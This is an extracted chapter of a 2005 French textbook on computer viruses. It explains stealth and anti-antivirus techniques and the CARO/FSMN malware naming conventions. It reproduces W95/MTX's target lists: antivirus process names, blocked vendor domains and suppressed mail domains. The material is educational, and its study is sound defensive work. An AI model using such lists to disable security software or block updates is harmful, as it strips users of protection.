_AVP32 _AVPCC NOD32 NPSSVC NRESQ32 NSCHED32 NSCHEDNT NSPLUGIN NAV NAVAPSVC NAVAPW32 NAVLU32 NAVRUNR NAVW32 _AVPM ALERTSVC AMON AVP32 AVPCC AVPM N32SCANW NAVWNT ANTIVIR AVPUPD AVGCTRL AVWIN95 SCAN32 VSHWIN32 F-STOPW F-PROT95 ACKWIN32 VETTRAY VET95 SWEEP95 PCCWIN98 IOMON98 AVPTC AVE32 AVCONSOL FP-WIN DVP95 F-AGNT95 CLAW95 NVC95 SCAN VIRUS LOCKDOWN2000 Norton Mcafee Antivir

PAGET_Ch03 Page 105 Lundi, 11. avril 2005 5:24 17

106 Chapitre 3. Notions fondamentales

Citons pour terminer deux autres méthodes rencontrées :

• Destruction de codes de validation : Tequila et Satanbug s’attaquaient à ceuxde VirusScan en 1991. Ils supprimaient les 10 octets complémentaires que leproduit ajoutait aux exécutables qu’il contrôlait. Peach.887 ciblait CentralPoint Anti-Virus.

• Interdiction de rejoindre certains sites Internet afin d’empêcher les mises àjour. En 2000, W95/MTX empêchait également l’envoi de mails vers certai-nes destinations liées à la lutte anti-virale.

Figure 3.9 — Les cibles de W95/MTX

3.3.4 Furtivité

C’est une technique de camouflage. Elle est apparue avec les premiers virus système.L’auteur de Tequila avait remarqué qu’au démarrage de la machine, le secteur departition était exécuté avant l’intervention de tout logiciel anti-virus. Il imaginaalors une routine permettant de renvoyer vers l’anti-virus (et vers tout utilisateur laréclamant) une l’image du secteur original. Le secteur infecté devenait ainsi invi-sible.

Tequila s’attaquait aussi aux exécutables. Il ajoutait 2468 octets à chaque fichierinfecté. Cette augmentation de taille était dissimulée à tous les programmes utilisantles appels DOS (interruptions du DOS 11h/12h et 4Eh/4Fh). Le virus était ainsi plusdifficile à voir : une commande dir renvoyait une valeur initiale du fichier obtenueen soustrayant à la valeur actuelle la taille du virus.

Ces techniques étaient cependant souvent imparfaites. En milieu infecté, alorsque la commande chkdsk renvoyait une information erronée laissant supposer une

Interdiction de rejoindre les domaines contenant les chaînes de caractères :

nii. nai. avp. f-se maplpand soph ndmi afee yennlywa tbav yman

Interdiction d’envoyer des mails vers les domaines :

wildlist.o* il.esafe.c* perfectsup*complex.is* HiServ.com* hiserv.com*metro.ch* beyond.com* mcafee.com*pandasoftw* earthlink.* inexar.com*comkom.co.* meditrade.* mabex.com *cellco.com* symantec.c* successful*inforamp.n* newell.com* singnet.co*bmcd.com.a* bca.com.nz* trendmicro*sophos.com* maple.com.* netsales.n*f-secure.c*

PAGET_Ch03 Page 106 Lundi, 11. avril 2005 5:24 17

107©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

mémoire disponible non altérée (655.360 octets), il suffisait de renommer ce fichier,puis de l’exécuter à nouveau, pour voir l’information réelle apparaître.

Aujourd’hui, ces procédés anciens sont dépassés, les techniques actuelles de fur-tivité consistent à rendre invisible le processus chargé en mémoire ou encore la pré-sence du fichier. C’est le cas pour le ver W32/Maddis.worm dans les environnementsW2000 et XP.

3.3.5 Infecteur rapide

Une fois en mémoire, un infecteur rapide est un virus qui infecte non seulement lesprogrammes qui sont exécutés, mais également ceux qui sont simplement manipulésou ouverts. Un anti-virus non à jour ou un vérificateur d’intégrité peut ainsi aider àla programmation massive d’un virus si celui ci n’est pas détecté au moment dulancement du programme. Par le passé, le virus Frodo fut un exemple célèbre. Citonsplus près de nous, le virus W95/CIH.

3.3.6 Cocktail

En anglais, blended threat désigne un fichier infecté par plusieurs virus. Selon saconfiguration, votre anti-virus sera, ou non, à même de vous indiquer cette double,voire triple infection.

3.4 LA CLASSIFICATION DES VIRUS

Le public s’interroge souvent sur nos manières de dénommer les nouveaux virus. Ilest également souvent dérouté devant les divers préfixes et suffixes qui encadrent cesnoms.

De nombreuses informations codifiées sont en effet présentes de part et d’autredu nom simplifié souvent repris par les médias. Le décryptage de la dénominationcomplète d’un virus peut donc apporter de précieuses informations quant à ses carac-téristiques. C’est pourquoi nous allons ici en expliquer les détails. Ce long paragra-phe permettra également d’appréhender certaines familles virales peu connues quin’ont pas fait jusqu’ici l’objet d’une présentation.

3.4.1 Les virus de première génération

L’un des seuls documents officiels tentant de définir des standards de dénominationdate de 1991. Ce document émane du CARO (Computer Antivirus Research Organi-zation). Il a été diffusé en 1993 par Vesselin Bontchev et Fridrik Skulason. À cetteépoque, les macro-virus et les virus ciblant les environnements Windows n’exis-taient pas. On ne rencontrait que des virus programmes MS-DOS et des virussystème.

PAGET_Ch03 Page 107 Lundi, 11. avril 2005 5:24 17

108 Chapitre 3. Notions fondamentales

Ce document n’a jamais fait l’unanimité et de nombreux éditeurs ne l’ont utiliséque partiellement. Il propose un nom en quatre parties délimitées par des points. Uncinquième élément, totalement optionnel, est désigné sous le nom de singularité. Ildébute par deux points.

Certaines parties peuvent être absentes. Le format général est le suivant :

<Nom_de_Famille>.<Nom_de_Groupe>.<Rang_de_Variante_Majeure>.<Rang_de_Variante_Mineure>[:Singularité ]

Chaque identifiant détermine une caractéristique. Il est construit à l’aide descaractères [ A-Z a-z 0-9 _$%&!’` # – ]. Les caractères non alphanumériques sontautorisés, mais doivent être évités. Pour plus de lisibilité, il est possible d’utiliser unmixage de minuscules et de majuscules. L’utilisation du soulignage (’_’) est préférée àl’espace. Il est utilisé, dès qu’il facilite la compréhension d’un l’identifiant. La taillede chacun d’entre eux ne dépasse pas 20 caractères. Les noms courts sont encoura-gés, mais s’il n’est qu’une abréviation factice d’un long nom, ce dernier a la préfé-rence.

Nom de famille

Il représente la famille à laquelle le virus appartient. Celle ci regroupe des virusayant des similitudes structurales. La codification de l’époque stipule de ne jamais :

• Employer des noms de compagnie, des noms de marque ou des noms despersonnes vivantes. L’utilisation du nom ou du pseudonyme de l’auteurprésumé du virus est, par contre, acceptée. Même s’il est préférable de leséviter, les prénoms courants sont permis. Les noms liés, de près ou de loin, aumonde de l’anti-virus doivent être particulièrement évités.

• Reprendre un nom de famille existant (le nom est unique).• Imaginer un nouveau nom pour un virus appartenant à une famille existante.• Employer des noms obscènes ou blessants.• Reprendre, sans en vérifier la justesse, le nom du fichier dans lequel la souche

virale à dénommer est implantée.

On doit également d’éviter l’emploi :

• De suites numériques (exemple V845). Pouvant différer d’une variante àl’autre, la taille ne peut servir de base à un nom de famille.

• De noms de jours liés à des dates d’activation tels que vendredi 13 ou22 septembre. Ces dates peuvent varier en fonction des variantes et rendreensuite irrationnel le nom choisi.

• De noms géographiques basés sur l’emplacement de la découverte.

Il est enfin proposé quelques règles générales :

• Tout virus dont le code n’excède pas 100 octets (messages exclus) rejoint lafamille Trivial.

PAGET_Ch03 Page 108 Lundi, 11. avril 2005 5:24 17

109©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

• Les virus relativement petits qui ne font que se reproduire et qui ne contien-nent aucune routine particulière sont regroupés dans l’une des six famillessuivantes :– SillyC – virus non-résidents, qui infectent seulement les COM ;– SillyE – virus non-résidents, qui infectent seulement les EXE ;– SillyCE – virus non-résidents, qui infectent COM et EXE ;– SillyRC – virus résidents, qui infectent seulement les COM ;– SillyRE – virus résidents, qui infectent seulement les EXE ;– SillyRCE – virus résidents, qui infectent les COM et les EXE.Les variantes sont ensuite distinguées par leur taille.Ces propositions furent souvent ignorées dans la forme et de nombreux virusse retrouvèrent aussi reliés à d’autres noms génériques tels que Univ, Tiny,Mini, Minimal, Small ; sans parler des nombreux noms particuliers qui furentaffectés à nombre d’entre eux.

• Les virus système sans aucune complexité, s’ils ne font que se reproduire ets’ils ne contiennent aucune autre routine particulière sont regroupés en deuxfamilles :– SillyP – virus infectant le secteur de partition (MBR) ;– SillyB – virus infectant le secteur de démarrage (Boot Sector)Les variantes dans chaque famille sont précisées selon le contenu hexadéci-mal des 2ème et des 3èmes octets du secteur infecté.Cette proposition n’a jamais été appliquée. Les vétérans se souviendront desintitulés GenP et GenB que VirusScan utilisait dans les années 90. Ils concer-naient des détections de virus inconnus (Gen pour générique, P pour partitionet B pour secteur de boot) sans lien direct avec cette directive.

• Les virus de recouvrement écrits dans un langage évolué sont regroupés dansune famille unique, appelée HLLO. Le langage particulier utilisé n’entre pasen compte.Les virus compagnons écrits dans un langage évolué sont regroupés dans unefamille unique, appelée HLLC. Le langage particulier utilisé n’entrait pas encompte.Cette double proposition semble avoir été partiellement retenue même si lesdérives sont fréquentes (HLL.ow, HLL.C, Baby).

Nom de groupe

Le nom de groupe s’applique à un ensemble important de virus semblables dans unemême famille. Citons comme anciens exemples :

• AntiCAD, un clone particulier de la famille de Jérusalem, contenant denombreuses variantes.

• 1704, un ensemble de plusieurs variantes de virus dans la famille Cascade.

Rang de Variante Majeure

Il est utilisé pour rassembler des virus très semblables au sein d’un même groupe. Lerang est presque toujours un nombre. Si possible, il représente la taille du virus.

PAGET_Ch03 Page 109 Lundi, 11. avril 2005 5:24 17

110 Chapitre 3. Notions fondamentales

Rang de Variante Mineure

Il regroupe des virus de même taille, de même structure et de comportement sembla-bles. Très souvent, ces variantes mineures n’ont que quelques octets interchangés.

Le rang se limite habituellement à une ou 2 lettres de l’alphabet qui s’incrémen-tent au fil du temps (A, B, C, etc.).

Singularité

Un virus peut appartenir à une famille particulière de par sa structure, mais unauteur peut ensuite, pour accroître la difficulté, employer une technique de camou-flage telle qu’un moteur polymorphe ou un compacteur (par exemple, PKLite,LZEXE). Si le virus est ensuite capable de se propager en réutilisant de lui-même ceprocédé complémentaire, on lui attribue cet index spécial qui le différencie de savariante originale.

Si l’outil lié à la mise en œuvre du procédé se conforme à la règle hiérarchiquedéfinie ci-dessus, c’est cette appellation complète qui est utilisée comme paramètrefinal.

Citons comme exemple le virus de Pogue. Membre de la famille Gotcha, il utilisele moteur polymorphe MtE.0_90. Son intitulé se doit d’être Got-cha.Pogue:MtE.0_90.

Si la singularité concerne un outil de compression, on utilise les deux premièreslettres de celui-ci.

Il est parfois nécessaire d’énumérer plusieurs singularités, c’est le cas deCivil_War.1234.A:TPE.1_3:MtE.1_00:PK.

Tableau 3.4 — Exemple de dénomination complexe d’un virus de première génération (Civil_War)

Nom de famille Civil_War

Nom de groupe Pas de nom de groupe

Rang de variante majeure 1234

Rang de variante mineure A

Première singularité TPE .1_3 Le code viral est complexifié par l’utilisationexterne du moteur polymorphique TPEversion 1.3

Seconde singularité MtE.0_00 Le code viral est ensuite complexifié uneseconde fois par l’utilisation externe dumoteur polymorphique MtE version 1.00

Troisième singularité PK Pour finir, l’intégralité du code est compac-tée avec PKLite

PAGET_Ch03 Page 110 Lundi, 11. avril 2005 5:24 17

111©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

3.4.2 L’effort de standardisation actuelAucune standardisation n’est aujourd’hui acceptée par l’ensemble de la commu-nauté anti-virale. Des règles, issues des précédentes, sont cependant suivies par lesmajors de la profession.

Aujourd’hui, les caractères utilisés pour les identifiants se limitent à l’utilisationdes lettres et chiffres [ A-Z a-z 0-9] et du tiret ‘-‘.

De plus :• L’espace est définitivement proscrit. Il est remplacé par le trait bas ‘_’. Ce

dernier caractère ne doit pas être doublé.• Les autres caractères [ $ % & ! ’ ` # ] sont supprimés. S’ils sont vraiment

indispensables :– la perluète ‘&’ devient ‘_And_’ (exemple : Dr_and_Et.1710)– le symbole pourcent ‘%’ devient ‘_Pct_’ (ou ‘_Pct’ s’il s’agit du caractère

final, exemple : PS-MPC.Seven_Pct.672)– le point d’exclamation ‘ !’ et le dièse ‘#’ deviennent de nouveau délimiteurs

comme nous l’expliciterons plus loin.• Le tiret ‘-‘ et le souligné ‘_’ ne sont jamais utilisés comme premier caractère

d’un identifiant sauf pour un cas d’espèce que nous détaillerons plus tard.• Les majuscules et les minuscules s’utilisent à bon escient pour faciliter la

compréhension :– MyParty est préférable à Myparty ou MYPARTY.– My_Party est également acceptable.

Fully Specified Malware Name

Sous l’abréviation FSMN se cache le principal projet de réglementation en matièrede dénomination des objets informatiques malveillants. Au sein du CARO, NickFitzGerald en est l’un des principaux acteurs. En plus des quatre identifiants mis enœuvre par le CARO au début des années 90, il propose trois nouveaux éléments :

• Le premier précise le domaine de la malveillance : il dépasse maintenant lemonde des virus.

• Le second indique la plate-forme qui est censé pouvoir l’accueillir.• L’avant dernier, intitulé dévolution différencie, le cas échéant, les formes

diverses d’un même virus.

En ce qui concerne l’existant :• Le rang de variante majeure devient systématiquement une indication de

taille,• Les délimiteurs se précisent :

– Le premier est triple, il s’agit de ‘://’.– Le second est la barre oblique ‘/’.– Les troisième et quatrième sont des points ‘.’.– Les trois derniers identifiants sont directement liés, c’est-à-dire sans délimi-

teur.

PAGET_Ch03 Page 111 Lundi, 11. avril 2005 5:24 17

112 Chapitre 3. Notions fondamentales

• Le champ singularité est maintenant pluriel. Il débute par un caractèrespécial.

• Seuls deux identifiants ne sont pas optionnels :– Le nom de famille.– Le rang de variante mineure.

En tenant compte des éléments facultatifs, le format complet d’un FSMN serésume par :

[<Malveillance>://][<Plate-forme>/]<Nom_de_Famille>[.<Nom_de_Groupe>][.<Taille>].<Rang_de_Variante_Mineure>[<Dévolution][Singularités ]

Le public ne retient souvent que les 3 éléments récurrents :

<Plate-forme>/<Nom_de_Famille>.<Rang_de_Variante_Mineure>

auquel se rajoute parfois la singularité qui s’applique généralement aux mass-mailers.

Malveillance

Tout en minuscule, ce premier échelon de classification décrit les grandes famillesde programmes malveillants. Sans revenir sur la définition des deux premiers, leséléments retenus sont à ce jour :

• virus.• trojan (cheval de Troie).• dropper (implanteur). C’est un programme qui installe un ou plusieurs autres

éléments malveillants. Le nom de famille qui s’associe à chacun d’entre euxsera généralement le même que celui de l’élément déposé. L’appellation multi-dropper (pour l’installation d’une série de programmes malveillants distincts)n’a pas été retenue comme élément de premier échelon. Certains spécialistesfont une distinction entre implanteurs et injecteurs. Ces derniers installent leurhôte uniquement en mémoire. Très peu nombreux, ils ne font pas ici l’objetd’une entrée particulière mais sont inclus parmi avec les premiers.

• intended (prétendu). Pour être considéré comme un virus, un programme doitêtre à même de se répliquer de manière récursive. S’il échoue dans cettedémarche du fait d’un bug quelconque mais si certaines de ses autres routinesfonctionnent (activation d’une charge finale par exemple) il reste dangereux.Bien qu’il puisse s’apparenter à un cheval de Troie, la règle actuelle veut queces faux virus entrent dans une famille particulière connue sous l’anglicismeintended.

• kit. Ce sont des boites à outils destinés à la création de malveillances. À ladifférence du dropper, généralement lancé sur la machine à attaquer, le kitn’installe pas le programme. Il ne fait que le créer et se retrouve donc sur lamachine d’un concepteur. Ces kits sont souvent des générateurs de virus.Certains retournent du code compilé (fichiers binaires), d’autres du code

PAGET_Ch03 Page 112 Lundi, 11. avril 2005 5:24 17

113©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

source ou du code interprété. Il est d’usage d’utiliser un même nom de famillepour le kit et ses productions. Exemple :– kit://Win32/VBSWG.A– virus://VBS/VBSWG.A– intended://VBS/VBSWG.B– virus://VBS/VBSWG.J@MMIl existe souvent plusieurs versions d’un même générateur. Les virus qui ensont issus sont généralement difficilement différentiables. Il n’est donc pas faitde lien entre les premiers et les seconds. Il y a souvent bien plus de virus quede générateurs et le virus de rang X peut avoir été créé par un kit de rang Y.Dans certains cas rares, il est cependant possible de relier sans erreur les viruset leurs générateurs. Ceux ci sont alors affectés d’un rang numérique, il en vade même pour les virus. Exemple :– kit://W97M/VMPCK1.A– kit://W97M/VMPCK2.A– virus://W97M/VMPCK1.A, virus://W97M/VMPCK1.B, etc.– virus://W97M/VMPCK2.A, virus://W97M/VMPCK2.B, etc.On voit ici une exception dans laquelle un caractère numérique est accepté ausein d’un nom de famille.

• garbage (déchet). Cette dénomination est réservée à des fichiers contenantdu code non fonctionnel, complètement endommagé ou encore généré aléa-toirement après un dump mémoire accidentel. Ces fichiers sont généralementignorés et n’entrent pas dans notre classification. Certains d’entre eux doiventpourtant être référencés et même parfois détectés s’il s’agit :– De codes présents dans diverses collections virales de pauvre qualité que

l’on rencontre périodiquement sur Internet et au travers de sources ditesunderground.

– De fichiers corrompus fréquemment envoyés aux chercheurs anti-virus.– De fichiers corrompus générés et diffusés par un virus quelconque.Il est aussi possible de retrouver dans cette famille des dumps mémoire volon-taires (trashbin) issus de l’étude d’un fichier malveillant quelconque par unchercheur. Ces derniers ne sont pas détectés par l’anti-virus mais classifié pourun éventuel usage ultérieur.

Plate-forme

Ce champ défini le système d’exploitation minimal ou le langage nécessaire àl’exécution du code. C’est un nom court qui se limite à quelques caractères liés à uneabréviation connue (exemple JS, WM, VBS). Un nom long est également défini àdes fins de clarification, principalement lors des échanges techniques avec le publicou les médias. Les noms longs et courts sont identiques lorsqu’ils ne dépassent pas 5caractères. On évite ainsi les abréviations artificielles telles que JV pour le langageJAVA.

Une liste non exhaustive des termes recommandés est reprise ci-après ; elle estsuivie d’une seconde liste qui reprend d’autres abréviations utilisées mais non admi-ses par l’ensemble de la profession.

PAGET_Ch03 Page 113 Lundi, 11. avril 2005 5:24 17

114 Chapitre 3. Notions fondamentales

Des codes malicieux sont parfois liés à plus d’une plate-forme. Le regroupementde celles-ci s’effectue alors par le biais d’accolades ; elles sont séparées par desvirgules ; il n’y a pas d’espace. Il est aussi possible d’utiliser dans ce cas la pseudoplate-forme Mul (ou Multi).

Le virus que beaucoup connaissent sous le nom de O97M/Tristate.A devrait enfait prendre le nom complet : virus://{W97M,X97M,PP97M}/Tristate.A.

L’intitulé court O97M (Office97Macro) a été créé pour rassembler les codes mali-cieux ciblant au moins deux applications Microsoft Office Project et/ou Visio liésVisual Basic for Applications (VBA) v5.0. Il évite ainsi l’utilisation de Mul.

Liste recommandée des plates-formesCette liste évolue en permanence, même si elle n’est pas officielle, elle tend à êtrereconnue par un grand nombre de chercheurs.

Tableau 3.5 — Liste recommandée pour définir les plates-formes pouvant recevoir des virus

Forme courte

Forme longue Environnement, remarques, exemples

ABAP ABAP SAP /R3 Advanced Business Application Programming.Exemple : ABAP/Cadabra

ACM AutoCadMacro Macro VBA v5.0 pour AutoCAD r11 et suivants.Exemple : ACM/Star.A

ActnS ActionScript Interpréteur Macromedia ActionScript (exemple Shoc-kWave Flash). Cet identifiant remplace le triptyque SWF– voir tableau suivant)Exemple : ActnS/LFM.926

AM AccessMacro Macro en AccessBasicAM/AccessiV

AplS AppleScript Interpréteur AppleScript.

APM AmiProMacro Macro pour AmiProExemple : APM/Green_Stripe.A

A97M Access97Macro Macro en Visual Basic for Applications (VBA) v5.0 pourAccess (Access 97, 2000 et 2002)A97M/Poison

BeOS BeOS Be Operating System – Système d’exploitation proprié-taire de Be Systems.Exemple : BeOS/Kate

Boot Boot Rarement utilisé : infection des secteurs de démarragedes disques dur et disquettes (MBR et/ou secteur deBOOT) dans l’environnement IBM PC et compatible.Exemples : Form, Jumper_B

BSD BSD Plates-formes BSD et dérivées. Unix reste néanmoins lenom de référence par défaut.Exemple : BSD/Block.worm

PAGET_Ch03 Page 114 Lundi, 11. avril 2005 5:24 17

115©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

Forme courte

Forme longue Environnement, remarques, exemples

CSC CorelScript Interpréteur CorelScript Exemple : CSC/CSV.A

DOS DOS Rarement utilisé : infection des fichiers DOS au formatCOM, EXE (MZ) ou SYS. Système d’exploitation MS-DOS ou approchant et compatible.Exemples : Cascade, Jerusalem

EPOC EPOC Système EPOC jusqu’à version 5 incluseExemple : EPOC/Alone

HLP WinHelpScript Interpréteur WinHelp. Cette plate-forme n’est pas desti-née à recevoir les codes malicieux en script JS ou VBS,encapsulés-HTML et compilés en fichiers Windows detype .CHM (compiled HTML help files)Exemple : HLP/Pluma

INF INFScript Interpréteur Windows INF (sans distinction de versions)Exemple : INF/Xver.ow

Java Java Système d’exécution (runtime) Java (autonome ouencapsulé dans un navigateur).Exemple : Java/Strange_Brew

JS JScript, JavaScript Interpréteur Jscript et /ou JavaScript. L’hôte n’entre pasen jeu dans cette définition. L’indicateur rassemble lescodes autonomes JS qui nécessitent MS JS sous WSH, lescodes JS encapsulés-HTML et ceux compilés en fichiersWindows de type .CHMExemple : JS/Kak@M

Linux Linux Plates-formes Linux et assimilables. Unix reste néan-moins le nom de référence par défautExemple : LINUX/Califax

MacHC Macintosh HyperCard

Interpréteur Apple Macintosh HyperCardExemple : MacHC/Blink

MacOS MacOS Macintosh OS antérieur à OS X (versions 6-9)Exemple : MacOS/Autostart

MIRC mIRCScript Interpréteur mIRC

MSIL MSIL Interpréteur Microsoft Intermediate LanguageExemple : MSIL/Bikini.worm

Mul Multi Pseudo plate-forme. Identifiant dédié aux programmesmalicieux couvrant plusieurs plates-formes

OS2 OS2 OS/2.Exemple : OS2/Mynameis

OSX OSX Macintosh OS X

PAGET_Ch03 Page 115 Lundi, 11. avril 2005 5:24 17

116 Chapitre 3. Notions fondamentales

Forme courte

Forme longue Environnement, remarques, exemples

O97M Office97Macro Pseudo plate-forme. Rassemble les codes malicieuxciblant au moins 2 applications Microsoft Office, Projectet/ou Visio en Visual Basic for Applications (VBA) v5.0Exemple : O97M/Tristate

PalmOS PalmOS PalmOSExemple : PalmOS/Phage

Perl Perl Interpréteur Perl. L’hôte n’entre pas en jeu dans cettedéfinition : les virus en shell Perl sous Unix(-like), ceuxnécessitant Perl sous WSH et ceux encapsulés-HTMLExemple : Perl/Rans

PHP PHPScript Interpréteur PHPExemple : PHP/Rebber

Pirch PirchScript Interpréteur Pirch

PS PostScript Interpréteur PostScript

P97M Project97Macro Macro en Visual Basic for Applications (VBA) v5.0 pourProject (Project 97, 2000 et 2002)Exemple : P97M/Eikrad

PP97M PowerPoint97Macro Macro en Visual Basic for Applications (VBA) v5.0 pourPowerPoint (PowerPoint97, 2000 et 2002)Exemple : PP97M/Vic

REG Registry Interpréteur dédié aux fichiers de base de registres Win-dows (.REG). Pas de distinction ASCII / Unicode)Exemple : Reg/Zox.ow

SH ShellScript Interpréteur shell Unix(-like). L’hôte n’entre pas en jeudans cette définition : Linux, Solaris, HP-UX ou autres,avec interpréteur csh, ksh, bash ou autre

Solaris Solaris Plate-forme Solaris

SymbOS Symbian OS (EPOC version 6)Exemple : SymbOS/Cabir

Unix Unix Indicateur standard (et préféré) pour les codes binairesliés au monde UNIX. S’il est nécessaire de préciser uneplate-forme particulière, on utilisera à titre exceptionnell’une des trois entrées suivantes. Les scripts sont associésà l’indicateur SH défini plus haut.Exemple : UNIX/Sorso

VBS VBScript, VisualBasicScript

Interpréteur VBS. L’hôte n’entre pas en jeu dans cettedéfinition : VBS sous WSH, encapsulé-HTML et ceuxcompilés en fichiers Windows de type .CHMExemple : VBS/Loveletter.A@MM

PAGET_Ch03 Page 116 Lundi, 11. avril 2005 5:24 17

117©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

Liste non admise mais parfois utiliséeCette liste rassemble des appellations incorrectes parfois rencontrées. L’un desexemples flagrants est le nom HTML qui regroupe un ensemble de fichiers lié àplusieurs langages (principalement JS et VBS). Notons cependant que la notion deformat de fichiers n’est pas toujours inappropriée. VBS s’applique à un type defichiers tout en étant l’acronyme de l’interpréteur Visual Basic Script. Des virus detype VBS se retrouvent au sein de fichiers HTML.

Tableau 3.6 — Liste non admise pour définir certaines plates-formes pouvant recevoir des virus

Forme courte

Forme longue Environnement, remarques, exemples

V5M Visio5Macro Macro en Visual Basic for Applications (VBA) v5.0 pourVisio (Visio 5.0, 2000 et 2002)Exemple : V5M/Unstable

WM WordMacro Macro en WordBasic (WinWord 6.0, Word 95 et Wordpour Mac 5)Exemple : WM/CAP

W2M Word2Macro Macro en WordBasic (WinWord 2.0)Exemple : W2M/Polite.A

W16 Win16 Windows 16-bits pour systèmes x86Exemple : W16/RedTeam@MM

W32 Win32 Windows 32-bits pour systèmes x86 (sont exclusWin32s et CE – comprennent Windows 9x, ME, NT,2000, XP)Exemple : W32/Ska@M

W97M Word97Macro Macro en Visual Basic for Applications (VBA) v5.0 pourWord (Word 97, 2000 et 2002)Exemple : W97M/Class.A

XF ExcelFormula Ancien langage de formules ExcelExemple : XF/Paix

XM ExcelMacro Macro en Visual Basic for Applications (VBA) v3.0 pourExcel (Excel pour Windows 5.0 et Excel for Mac 5.x)Exemple : XM/Laroux

X97M Excel97Macro Macro en Visual Basic for Applications (VBA) v5.0 pourExcel (Excel 97, 2000 et 2002)Exemple : X97M/Sugar

Forme courte Forme longue Environnement/Remarques

ATVX, OCX ActiveX Un contrôle ActiveX lorsqu’il n’est qu’un fichier DLL doitêtre classifié Win32. Les codes malicieux exploitant desfailles de sécurité ActiveX doivent être classifiés selon lelangage (généralement de script) qui les supportent.Exemple : AX/Showword, OCX/Exploder

PAGET_Ch03 Page 117 Lundi, 11. avril 2005 5:24 17

118 Chapitre 3. Notions fondamentales

Forme courte Forme longue Environnement/Remarques

ELF ELF Utilisé par certains développeurs pour classifier les mal-veillances du monde Linux ou Unix, il définit une struc-ture de fichiers (à rapprocher du concept PE pourWindows). L’identifiant correct est Unix.Exemple : ELF/Spork.worm

HTML HTML Les fichiers HTML peuvent véhiculer des scripts mal-veillants d’origine diverses. Ce sont ces scripts (générale-ment JS ou VBS) qui doivent contribuer au choix del’identifiant.Exemple : HTML/Debeski

IIS IIS Les codes malicieux exploitant des failles de sécurité IIS(Microsoft Internet Information Server ) ne fonctionnerontque sur des machines dédiées. La plupart d’entres ellessont en environnement Windows 32, Windows 64 et NetServer (plate-forme MSIL). C’est cet environnement quidéfinit l’identifiant à adopter.Exemple : IIS/Backdoor.ACE

JV Java Java est le seul nom court acceptable pour du code mal-veillant nécessitant un système d’exécution (runtime) Java.Le choix JV ne peut que provoquer d’inutiles confusionsd’abréviations.Exemple : JV/Shinwow.

MPF MultiPlatform Quelques vendeurs utilisent ce terme. Il est lié au langageJava (MPF : multi-OS hosted platform) dont le nomdevrait alors servir d’identifiant.

.Net DotNet Certains développeurs classifient comme DotNet des pro-grammes nécessitant l’usage d’une version .Net, DotNetou similaire. Cette classification n’est pas officiellementreconnue. Il y a lieu d’utiliser l’identifiant Win32 s’ils nesont pas de purs éléments .Net. Dans le cas contraire, onutile l’identifiant MSIL.

Palm PalmOS Palm est une marque déposée ; il faut utiliser PalmOSpour définir la plate-forme.Exemple : PALM/Fatal

PDF PDF Un code malveillant caché au sein d’un document PDFn’est pas nécessairement un virus PDF.VBS/Peachy utilise les fichiers PDF comme mode detransport, son fonctionnement nécessite la présence d’uneversion complète d’Adobe Acrobat afin d’être à même dedécompacter le script en Visual Basic lié au processus deréplication. Il s’agit donc d’un virus VBS et l’identifiant PDFest donc aujourd’hui malvenu. Exemple : PDF.Yourde

PAGET_Ch03 Page 118 Lundi, 11. avril 2005 5:24 17

119©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it3.4 La classification des virus

Forme courte Forme longue Environnement/Remarques

SWF ShockWave-Flash

L’identifiant SWF fut utilisé à l’occasion de l’apparition duvirus un moment dénommé SWF/LFM.926. Il s’agit enfait d’un virus multi plates-formes dont l’élément infec-tieux est un fichier DOS de type .COM. Du code ActionS-cript, absent de certains lecteurs SWF est stocké dans desfichiers ayant cette extension. Le nom complet du virusest donc virus://{DOS,ActnS}/LFM.926.A que l’on peut(abusivement) limiter à LFM.926 (pour la composanteDOS) et ActnS/LFM.926 pour l’implanteur.

WinME, WME WindowsME Un programme utilisant une spécificité liée à WindowsME et ne fonctionnant pas sous NT, Win2K, XP doit êtreclassifié comme Win32.Exemple : WME/Wide-A

WNT, WinNT WindowsNT Certains développeurs classifient WinNT des programmesnécessitant l’usage d’une version Windows NT ou ulté-rieure. Cette classification n’est pas officiellement recon-nue. Il y a lieu d’utiliser l’identifiant Win32Exemple : WNT/Harmless

WXP, WinXP WindowsXP Certains développeurs classifient comme WinXP des pro-grammes nécessitant l’usage d’une version Windows XPou ultérieure. Cette classification n’est pas officiellementreconnue. Il y a lieu d’utiliser l’identifiant Win32Exemple : WinXP.Che

W2K, W2000,Win2K,Win2000

Windows2K,Windows2000

Certains développeurs classifient commeWin2K des pro-grammes nécessitant l’usage d’une version Windows2000 ou ultérieure. Cette classification n’est pas officielle-ment reconnue. Il y a lieu d’utiliser l’identifiant Win32Exemple : W2K/Dob

W3X, W31,Win3X,Win31

Windows3X,Windows31

L’identifiant correct est Win16Exemple : W31.NEHeader

W95, Win95 Windows95 Certains programmes malveillants fonctionnent sous Win-dows 95, 98, 98SE et/ou ME mais ne fonctionnent passous NT, Win2K ou XP. Quelques produits classifient tou-jours ces éléments qui utilisent les mécanismes VxD et /ou quelques spécificités liées aux plates-formes Win9xcomme Win95.Il a été décidé de les classer en temps que Win32.Exemple : W95/CIH

W98, Win98 Windows98 Certains programmes malveillants fonctionnent sous Win-dows 98, 98SE et/ou ME mais ne fonctionnent pas sousNT, Win2K ou XP. Quelques produits classifient toujoursces éléments quelques spécificités liées aux plates-formesWin98/ME comme Win98.Il a été décidé de les classer en temps que Win32.Exemple : W98/Hatred.A

PAGET_Ch03 Page 119 Lundi, 11. avril 2005 5:24 17

120 Chapitre 3. Notions fondamentales

Nom de Famille

Élément non optionnel, le nom de famille est le composant clé de la dénomination.C’est celui qui anime le plus les débats et amène le plus de réclamations. En dehorsde l’entourage des chercheurs, c’est souvent le seul que les médias et les utilisateursretiennent.

Les règles émises en 1991 par le CARO ont été amendées. Le projet de réglemen-tation actuel stipule de ne jamais :

• Employer des noms de compagnie, des noms de marque ou des noms despersonnes vivantes. L’utilisation du nom ou du pseudonyme de l’auteurprésumé du virus est maintenant fortement déconseillée :– Il fournit à l’auteur une certaine reconnaissance, principale motivation de

nombreux d’entre eux.– Il risque de vite devenir inconsistant car un même auteur crée souvent des

